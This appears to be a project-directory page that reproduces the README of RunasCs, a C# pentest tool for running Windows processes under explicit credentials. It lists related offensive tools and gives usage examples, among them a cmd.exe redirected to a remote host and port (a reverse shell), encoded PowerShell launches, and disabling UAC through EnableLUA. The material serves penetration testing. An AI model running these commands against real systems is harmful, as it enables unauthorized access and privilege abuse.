All Projects → antonioCoco → Runascs

antonioCoco / Runascs

Licence: gpl-3.0
RunasCs - Csharp and open version of windows builtin runas.exe

Programming Languages

csharp
926 projects

Projects that are alternatives of or similar to Runascs

Enigma
Multiplatform payload dropper
Stars: ✭ 180 (-16.67%)
Mutual labels:  pentest
Proxenet
The ONLY hacker friendly proxy for webapp pentests.
Stars: ✭ 193 (-10.65%)
Mutual labels:  pentest
Cloudlist
Cloudlist is a tool for listing Assets from multiple Cloud Providers.
Stars: ✭ 207 (-4.17%)
Mutual labels:  pentest
Poet
[unmaintained] Post-exploitation tool
Stars: ✭ 184 (-14.81%)
Mutual labels:  pentest
Insanity Framework
Generate Payloads and Control Remote Machines. [Discontinued]
Stars: ✭ 189 (-12.5%)
Mutual labels:  pentest
Canisrufus
A stealthy Python based Windows backdoor that uses Github as a command and control server
Stars: ✭ 207 (-4.17%)
Mutual labels:  pentest
Tuktuk
Tool for catching and logging different types of requests.
Stars: ✭ 174 (-19.44%)
Mutual labels:  pentest
Oscp Cheat Sheet
This is my OSCP cheat sheet made by combining a lot of different resources online with a little bit of tweaking. I used this cheat sheet during my exam (Fri, 13 Sep 2019) and during the labs. I can proudly say it helped me pass so I hope it can help you as well ! Good Luck and Try Harder
Stars: ✭ 216 (+0%)
Mutual labels:  pentest
Wsuspendu
Implement WSUSpendu attack
Stars: ✭ 191 (-11.57%)
Mutual labels:  pentest
Berserker
A list of useful payloads for Web Application Security and Pentest/CTF
Stars: ✭ 212 (-1.85%)
Mutual labels:  pentest
Socialfish
Phishing Tool & Information Collector
Stars: ✭ 2,522 (+1067.59%)
Mutual labels:  pentest
Linux Soft Exploit Suggester
Search Exploitable Software on Linux
Stars: ✭ 187 (-13.43%)
Mutual labels:  pentest
Ladon
大型内网渗透扫描器&Cobalt Strike,Ladon8.9内置120个模块,包含信息收集/存活主机/端口扫描/服务识别/密码爆破/漏洞检测/漏洞利用。漏洞检测含MS17010/SMBGhost/Weblogic/ActiveMQ/Tomcat/Struts2,密码口令爆破(Mysql/Oracle/MSSQL)/FTP/SSH(Linux)/VNC/Windows(IPC/WMI/SMB/Netbios/LDAP/SmbHash/WmiHash/Winrm),远程执行命令(smbexec/wmiexe/psexec/atexec/sshexec/webshell),降权提权Runas、GetSystem,Poc/Exploit,支持Cobalt Strike 3.X-4.0
Stars: ✭ 2,911 (+1247.69%)
Mutual labels:  pentest
Umbrella
A Phishing Dropper designed to Pentest.
Stars: ✭ 180 (-16.67%)
Mutual labels:  pentest
Capsulecorp Pentest
Vagrant VirtualBox environment for conducting an internal network penetration test
Stars: ✭ 214 (-0.93%)
Mutual labels:  pentest
Intrec Pack
Intelligence and Reconnaissance Package/Bundle installer.
Stars: ✭ 177 (-18.06%)
Mutual labels:  pentest
Awesome Pentest Cheat Sheets
Collection of the cheat sheets useful for pentesting
Stars: ✭ 2,566 (+1087.96%)
Mutual labels:  pentest
Doxycannon
A poorman's proxycannon and botnet, using docker, ovpn files, and a dante socks5 proxy
Stars: ✭ 216 (+0%)
Mutual labels:  pentest
Hackers Tool Kit
Its a framework filled with alot of options and hacking tools you use directly in the script from brute forcing to payload making im still adding more stuff i now have another tool out called htkl-lite its hackers-tool-kit just not as big and messy to see updates check on my instagram @tuf_unkn0wn or if there are any problems message me on instagram
Stars: ✭ 211 (-2.31%)
Mutual labels:  pentest
Dirstalk
Modern alternative to dirbuster/dirb
Stars: ✭ 210 (-2.78%)
Mutual labels:  pentest

RunasCs


RunasCs is an utility to run specific processes with different permissions than the user's current logon provides using explicit credentials. This tool is an improved (from a pentest perspective) and open version of windows builtin runas.exe that solves some limitations:

  • Allows explicit credentials
  • Works both if spawned from interactive process and from service process
  • Manage properly DACL for Window Stations and Desktop for the creation of the new process
  • Uses more reliable create process functions like CreateProcessAsUser() and CreateProcessWithTokenW() if the calling process holds the required privileges (automatic detection)
  • Allows to specify the logon type, i.e. network logon 3 (no UAC limitations)
  • Allows redirecting stdin, stdout and stderr to a remote host
  • It's Open Source :)

RunasCs has an automatic detection to determine the best create process function for every contexts. Based on the process caller token permissions, it will use one of the create process function in the following preferred order:

  1. CreateProcessAsUser()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Requirements


.NET Framework >= 2.0

Usage


C:\ProgramData>.\RunasCs_net2.exe --help

RunasCs v1.3 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and crateProcess functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     command supported by cmd.exe if process_timeout>0
                            commandline for the process if process_timeout=0
Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserA
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the spawned process.
                            Default: "3"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process timeout to 0.
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and cmd.exe
                            won't be used to spawn the process.
                            Default: "120000"
    -p, --create-profile
                            if this flag is specified RunasCs will force the
                            creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            NOTE: this will leave some forensics traces
                            behind creating the user profile directory.
                            Compatible only with -f flags:
                                1 - CreateProcessWithTokenW
                                2 - CreateProcessWithLogonW

Examples:
    Run a command as a specific local user
        RunasCs.exe user1 password1 whoami
    Run a command as a specific domain user and interactive logon type (2)
        RunasCs.exe user1 password1 whoami -d domain -l 2
    Run a background/async process as a specific local user,
        RunasCs.exe user1 password1 "%COMSPEC% powershell -enc..." -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 whoami -d domain -l 9

The two processes (calling and called) will communicate through one pipe (both for stdout and stderr). The default logon type is 3 (Network_Logon). If you set Interactive (2) logon type you will face some UAC restriction problems. You can make interactive logon without any restrictions by setting the following regkey to 0 and restart the server:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

By default, the calling process (RunasCs) will wait until the end of the execution of the spawned process and will use cmd.exe to manage stdout and stderr. If you need to spawn a background or async process, i.e. spawning a reverse shell, you need to set the parameter -t timeout to 0. In this case the process will be spawned without using cmd.exe and RunasCs won't wait for the end of the execution.

References


Credits


Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].